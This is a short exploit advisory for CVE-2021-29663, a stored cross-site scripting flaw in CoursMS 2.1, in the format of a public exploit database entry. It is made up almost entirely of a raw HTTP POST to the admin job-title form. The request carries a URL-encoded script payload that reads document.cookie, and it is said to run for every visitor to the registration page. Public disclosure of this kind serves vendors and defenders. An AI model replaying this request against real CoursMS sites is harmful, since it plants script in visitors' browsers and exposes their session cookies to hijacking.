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A-0day-Per-Day-Keeps-The-Cope-Away/CVE-2021-29663
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| # Exploit Title: CoursMS 2.1 Stored XSS in Registration Page (Admin) | |
| # Date: 03/30/2021 | |
| # Exploit Author: cptsticky | |
| # Vendor Homepage: http://sourceforge.net/projects/coursems | |
| # Software Link: https://sourceforge.net/projects/coursems/files/latest/download | |
| # Version: 2.1 | |
| # Tested on: Ubuntu 20.04 | |
| # CVE : CVE-2021-29663 | |
| POST /coursems/admin/add_jobs.php HTTP/1.1 | |
| Host: 18.188.117.223 | |
| User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 | |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 | |
| Accept-Language: en-US,en;q=0.5 | |
| Accept-Encoding: gzip, deflate | |
| Content-Type: application/x-www-form-urlencoded | |
| Content-Length: 91 | |
| Origin: http://18.188.117.223 | |
| Connection: close | |
| Referer: http://18.188.117.223/coursems/admin/add_jobs.php | |
| Cookie: PHPSESSID=9c5cgusplbmb09g86sfapoiie4; __utma=2772400.1964691305.1617119061.1617119061.1617119061.1; __utmb=2772400.87.10.1617119061; __utmc=2772400; __utmz=2772400.1617119061.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) | |
| Upgrade-Insecure-Requests: 1 | |
| name=dirkgently%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&add_jobs=Add+Job+Title | |
| Anyone who visits the Registration page at http://18.188.117.223/coursems/add_user.php will prompt execution of the stored XSS |